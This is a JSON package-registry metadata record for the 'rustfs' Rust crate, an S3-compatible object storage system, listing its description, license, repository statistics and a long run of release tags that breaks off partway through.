{"id":11867899,"name":"rustfs","ecosystem":"cargo","description":"RustFS is a high-performance, distributed file system designed for modern cloud-native applications, providing efficient data storage and retrieval with advanced features like S3 Select, IAM, and policy management.","homepage":"https://rustfs.com","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/rustfs/rustfs","keywords_array":["filesystem","s3","object-storage","minio","rustfs"],"namespace":null,"versions_count":4,"first_release_published_at":"2025-07-02T15:41:19.271Z","latest_release_published_at":"2026-10-03T16:54:07.888Z","latest_release_number":"1.0.1","last_synced_at":"2026-10-13T12:19:36.493Z","created_at":"2025-07-02T15:45:33.096Z","updated_at":"2026-10-13T12:20:46.386Z","registry_url":"https://crates.io/crates/rustfs/","install_command":"cargo install rustfs","documentation_url":"https://docs.rs/rustfs/","metadata":{"categories":["development-tools","network-programming","web-programming","filesystem"]},"repo_metadata":{"id":239141934,"uuid":"722597620","full_name":"rustfs/rustfs","owner":"rustfs","description":"RustFS is an open-source, S3-compatible high-performance object storage system supporting migration and coexistence with other S3-compatible platforms such as MinIO and Ceph.","archived":false,"fork":false,"pushed_at":"2026-10-11T16:10:01.000Z","size":111769,"stargazers_count":34717,"open_issues_count":46,"forks_count":1575,"subscribers_count":96,"default_branch":"main","last_synced_at":"2026-10-11T16:27:40.863Z","etag":null,"topics":["ai-native","ai-storage","amazon-s3","bigdata","cloud-native","filesystem","minio","multi-cloud","object-storage","objectstorage","rust","s3"],"latest_commit_sha":null,"homepage":"https://rustfs.com/download/","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/rustfs.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":".github/AGENTS.md","claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":".github/copilot-instructions.md","dco":null,"cla":"CLA.md","disclosure":null}},"created_at":"2023-11-23T13:45:10.000Z","updated_at":"2026-10-11T15:53:35.000Z","dependencies_parsed_at":"2026-10-11T16:23:42.027Z","dependency_job_id":null,"html_url":"https://github.com/rustfs/rustfs","commit_stats":{"total_commits":13,"total_committers":3,"mean_commits":4.333333333333333,"dds":0.3846153846153846,"last_synced_commit":"a4a2a28ff58ee4b3d2a4cec8bc2b8a90f9c3ddaa"},"previous_names":["rustfs/rustfs"],"tags_count":157,"template":false,"template_full_name":null,"purl":"pkg:github/rustfs/rustfs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/rustfs","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343843146,"owners_count":38195219,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-11T02:00:05.703Z","response_time":113,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"rustfs","name":"RustFS","uuid":"151849438","kind":"organization","description":"A high-performance, memory-safe, Apache 2.0 alternative to MinIO.","email":"hello@rustfs.com","website":"https://rustfs.com","location":"United States of America","twitter":"RustFSofficial","company":null,"icon_url":"https://avatars.githubusercontent.com/u/151849438?v=4","repositories_count":27,"last_synced_at":"2026-10-09T17:35:18.525Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/rustfs","funding_links":[],"total_stars":35022,"followers":515,"following":0,"created_at":"2023-11-23T14:39:07.652Z","updated_at":"2026-10-09T17:35:18.539Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/rustfs","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/rustfs/repositories"},"tags":[{"name":"1.0.1","sha":"6de965ae3c965a78ff819fbcd7acd4aa44177d92","kind":"tag","published_at":"2026-10-03T02:26:51.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1/manifests"},{"name":"1.0.1-preview.17","sha":"6de965ae3c965a78ff819fbcd7acd4aa44177d92","kind":"tag","published_at":"2026-10-03T00:17:57.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.17","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.17/manifests"},{"name":"1.0.1-preview.16","sha":"c04d566b26122d58e3450bea2149c044b5c1f11c","kind":"tag","published_at":"2026-10-01T22:13:25.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.16","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.16/manifests"},{"name":"1.0.1-preview.15","sha":"da31b53dd6691ee1fb9232437b9fb393dc00909c","kind":"tag","published_at":"2026-10-01T16:15:14.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.15","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.15/manifests"},{"name":"1.0.1-preview.14","sha":"65ce9361314837c92a0132b727b3456eb543ea1c","kind":"tag","published_at":"2026-09-30T19:19:21.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.14","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.14/manifests"},{"name":"1.0.1-preview.13","sha":"1e7065101d7de4ebacabd249db5b4debbf5baa68","kind":"tag","published_at":"2026-09-29T16:10:18.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.13","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.13/manifests"},{"name":"1.0.1-preview.12","sha":"8741bb77eaa1a3cbe56d017934e17a0ce9e17aa3","kind":"tag","published_at":"2026-09-26T14:36:46.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.12","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.12/manifests"},{"name":"1.0.1-preview.11","sha":"0913686b12845eefc69a2f4ed4ee6a8161e25742","kind":"tag","published_at":"2026-09-24T09:41:40.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.11","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.11/manifests"},{"name":"1.0.1-preview.10","sha":"1880b42169bf26b15d8ca6bea3d8f1e4203b1bad","kind":"tag","published_at":"2026-09-22T15:03:24.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.10","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.10/manifests"},{"name":"1.0.1-preview.9","sha":"1afaf4491ebcbbdd62d43231df6d5662ae56a355","kind":"tag","published_at":"2026-09-21T13:09:58.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.9","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.9/manifests"},{"name":"1.0.1-preview.8","sha":"42dd76d3b256fb50cb7f92dddca7ed1458d1dc8b","kind":"tag","published_at":"2026-09-21T01:17:48.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.8","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.8/manifests"},{"name":"1.0.1-preview.7","sha":"22243e791d37ca66ed5aa6d4c69b3e02bc384013","kind":"tag","published_at":"2026-09-19T23:01:32.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.7","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.7/manifests"},{"name":"1.0.1-preview.6","sha":"ff62c810b4e6e50ac7b7cf0352084abb6ea1f211","kind":"tag","published_at":"2026-09-18T14:10:06.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.6","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.6/manifests"},{"name":"1.0.1-preview.5","sha":"3f469ab2579f9f9f381dd9c0cb64e143279ac60f","kind":"tag","published_at":"2026-09-18T01:28:46.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.5","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.5/manifests"},{"name":"1.0.1-preview.4","sha":"d2cdf057cc7730d015d2da446467a673904dc41c","kind":"tag","published_at":"2026-09-17T23:59:48.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.4","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.4/manifests"},{"name":"1.0.1-preview.3","sha":"d9c3eeea0cbdfa35e645d8077970767699b71260","kind":"tag","published_at":"2026-09-17T02:35:44.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.3","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.3/manifests"},{"name":"1.0.1-preview.2","sha":"706ffdc9acdaa3fd1aeb758d43b346170e1f0c99","kind":"tag","published_at":"2026-09-17T00:57:58.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.2","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.2/manifests"},{"name":"1.0.1-preview.1","sha":"58a3c599badd4f6e866413e3c7d772f4680308cd","kind":"tag","published_at":"2026-09-16T19:34:14.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.1-preview.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.1-preview.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.1-preview.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.1-preview.1/manifests"},{"name":"1.0.0","sha":"d47f54bfb2f39f48bd1adda334bd27e151fe85b8","kind":"tag","published_at":"2026-09-16T07:40:09.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0/manifests"},{"name":"1.0.0-preview.4","sha":"d47f54bfb2f39f48bd1adda334bd27e151fe85b8","kind":"tag","published_at":"2026-09-16T00:33:43.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-preview.4","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-preview.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-preview.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-preview.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-preview.4/manifests"},{"name":"1.0.0-preview.3","sha":"a708820cda9ab30127bb4a6d16446e12181808d4","kind":"tag","published_at":"2026-09-15T18:26:34.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-preview.3","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-preview.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-preview.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-preview.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-preview.3/manifests"},{"name":"1.0.0-preview.2","sha":"5fdc16fec71a4bd1360edd889b51f76e7881d418","kind":"tag","published_at":"2026-09-15T15:23:42.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-preview.2","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-preview.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-preview.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-preview.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-preview.2/manifests"},{"name":"1.0.0-preview.1","sha":"a9596debb96f85929cb3a4a856e327ef26c6b52d","kind":"tag","published_at":"2026-09-15T14:14:19.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-preview.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-preview.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-preview.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-preview.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-preview.1/manifests"},{"name":"1.0.0-rc.6","sha":"5cd58319ed6148ed7f09f2a4d0b4e46e429f043a","kind":"tag","published_at":"2026-09-11T02:10:53.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.6","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-rc.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.6/manifests"},{"name":"1.0.0-rc.6-preview.1","sha":"5cd58319ed6148ed7f09f2a4d0b4e46e429f043a","kind":"tag","published_at":"2026-09-10T13:10:07.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.6-preview.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-rc.6-preview.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.6-preview.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.6-preview.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.6-preview.1/manifests"},{"name":"1.0.0-rc.5","sha":"40a2470feb567201165a5b809b7598bb4b1f68f5","kind":"tag","published_at":"2026-09-01T23:03:51.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.5","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-rc.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.5/manifests"},{"name":"1.0.0-rc.5-preview.3","sha":"40a2470feb567201165a5b809b7598bb4b1f68f5","kind":"tag","published_at":"2026-09-01T18:08:52.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.5-preview.3","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-rc.5-preview.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.5-preview.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.5-preview.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.5-preview.3/manifests"},{"name":"1.0.0-rc.5-preview.2","sha":"436a1be899e90e67d7c4aa81def70d39fe1748d5","kind":"tag","published_at":"2026-08-31T21:01:51.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.5-preview.2","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-rc.5-preview.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.5-preview.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.5-preview.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.5-preview.2/manifests"},{"name":"1.0.0-rc.5-preview.1","sha":"e3ca1ca54ce7e36d0f9d0f21d483a11b1e67e98c","kind":"tag","published_at":"2026-08-31T15:55:26.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.5-preview.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-rc.5-preview.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.5-preview.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.5-preview.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.5-preview.1/manifests"},{"name":"1.0.0-rc.4","sha":"44f3f0e73ef4ced4dc6674df8c467071d67f324b","kind":"tag","published_at":"2026-08-28T12:03:43.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.4","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-rc.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.4/manifests"},{"name":"1.0.0-rc.4-preview.1","sha":"44f3f0e73ef4ced4dc6674df8c467071d67f324b","kind":"tag","published_at":"2026-08-27T14:09:40.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.4-preview.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-rc.4-preview.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.4-preview.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.4-preview.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.4-preview.1/manifests"},{"name":"1.0.0-rc.3","sha":"1aae6803739a5bac67e0d702ac46d43f09fb06dd","kind":"tag","published_at":"2026-08-21T05:13:09.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.3","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.3/manifests"},{"name":"1.0.0-rc.3-preview.2","sha":"1aae6803739a5bac67e0d702ac46d43f09fb06dd","kind":"tag","published_at":"2026-08-21T03:06:33.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.3-preview.2","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-rc.3-preview.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.3-preview.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.3-preview.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.3-preview.2/manifests"},{"name":"1.0.0-rc.3-preview.1","sha":"d65fba91428636aa8d59009e836b7573e45b18c8","kind":"tag","published_at":"2026-08-20T13:51:27.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.3-preview.1","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-rc.3-preview.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.3-preview.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.3-preview.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.3-preview.1/manifests"},{"name":"1.0.0-rc.2","sha":"e9f53180273b32a9c2b0aa8b5a384047bc7e875c","kind":"tag","published_at":"2026-08-14T19:52:07.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.2","html_url":"https://github.com/rustfs/rustfs/releases/tag/1.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/rustfs/rustfs@1.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rustfs%2Frustfs/tags/1.0.0-rc.2/manifests"},{"name":"1.0.0-rc.2-preview.1","sha":"e9f53180273b32a9c2b0aa8b5a384047bc7e875c","kind":"tag","published_at":"2026-08-14T17:29:47.000Z","download_url":"https://codeload.github.com/rustfs/rustfs/tar.gz/1.0.0-rc.2-preview.1","html_url":"https://github.com/rustf